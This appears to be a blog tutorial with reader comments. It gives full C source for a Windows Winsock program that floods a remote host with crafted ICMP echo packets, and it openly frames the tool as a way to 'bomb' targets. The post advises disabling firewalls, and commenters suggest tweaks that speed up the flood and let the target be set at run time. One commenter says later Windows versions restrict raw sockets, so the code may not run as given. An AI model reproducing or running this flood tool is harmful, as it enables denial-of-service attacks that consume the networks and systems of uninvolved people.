ICMP Ping Flood
A ping flood program sends a large of icmp packets to a remote host to flood the network and system resources on the target system.
The target system keeps replying to the icmp packets and its system resources are consumed un-necessarily.
In a previous article on ping flood on linux we saw how to construct raw icmp echo packets and send them out in large quantities to remote hosts in an attempt to bomb them.
Now we are going to construct the same program for windows using the winsock socket api.
Code
The code creates a raw icmp socket and sends raw crafted icmp packets to the destination system. When done in a loop, a large number of icmp packets are generated and send.
/* Icmp ping flood program in winsock */ #include "stdio.h" #include "winsock2.h" #include "conio.h" #include "stdint.h" #pragma comment(lib,"ws2_32.lib") //winsock 2.2 library #define ICMP_ECHO 8 /* Echo Request */ unsigned short in_cksum(unsigned short *ptr, int nbytes); typedef uint8_t u_int8_t; typedef uint16_t u_int16_t; typedef uint32_t u_int32_t; struct icmphdr { u_int8_t type; /* message type */ u_int8_t code; /* type sub-code */ u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; /* echo datagram */ u_int32_t gateway; /* gateway address */ struct { u_int16_t __unused; u_int16_t mtu; } frag; /* path mtu discovery */ } un; }; int main(int argc, char *argv[]) { char *packet, *data=NULL; SOCKET s; int k = 1, packet_size, payload_size = 512, sent = 0; struct iphdr *iph = NULL; struct icmphdr *icmph = NULL; struct sockaddr_in dest; //Initialise Winsock WSADATA wsock; printf("\nInitialising Winsock..."); if (WSAStartup(MAKEWORD(2,2),&wsock) != 0) { fprintf(stderr,"WSAStartup() failed"); exit(EXIT_FAILURE); } printf("Done"); //Create Raw ICMP Packet if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR) { printf("Failed to create raw icmp packet"); exit(EXIT_FAILURE); } dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr("1.2.3.4"); packet_size = sizeof(struct icmphdr) + payload_size; packet = (char * )malloc(packet_size); //zero out the packet buffer memset (packet, 0, packet_size); icmph = (struct icmphdr*) packet; icmph->type = ICMP_ECHO; icmph->code = 0; icmph->un.echo.sequence = rand(); icmph->un.echo.id = rand(); // Initialize the TCP payload to some rubbish data = packet + sizeof(struct icmphdr); memset(data, '^', payload_size); //checksum icmph->checksum = 0; icmph->checksum = in_cksum((unsigned short *)icmph, packet_size); printf("\nSending packet...\n"); while(1) { if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR ) { printf("Error sending Packet : %d" , WSAGetLastError()); break; } printf("%d packets send\r" , ++sent); _getch(); } return 0; } /* Function calculate checksum */ unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); }
The above code can be compiled using Microsoft Visual c++ 2010 express edition. Create a new project and add a c file and then copy paste the code and compile.
To check if the icmp packets were send successfully, use a packet sniffer like wireshark. Firewalls might block such large number of ping packets, so you may have to turn them off.
Conclusion
To learn the basics of socket programming in winsock check this post:
Winsock tutorial - Socket programming in C on windows
The documentation of the winsock api functions can be found here:
https://docs.microsoft.com/en-us/windows/win32/winsock/winsock-functions
This is very awesome, but you might want to make a fee changes.
First, waiting for the user to press a key will limit the performance of this. Remove _getch().
Next, to limit cpu usage when you do this, add “Sleep(1)” to the while loop.
Finally, you might want to add an option to set a custom ip and payload size at runtime.
This 32 bit code will only work on Windows XP pre-service pack 2. After SP 1, Microsoft disabled the ability to send in raw sockets. In addition, the kernel buffer space is only 8k, way too small. This is discussed here:
http://tech.blinemedical.com/dropped-packets-with-promiscuous-raw-sockets/
The correct way to do this on Windows is to use a packet driver, WinPcap.
It’s nice & helpful Article, Thankx M00n Silv3r ;).But,
For Windows , I think The use of RAW_SOCK is restricted. No ?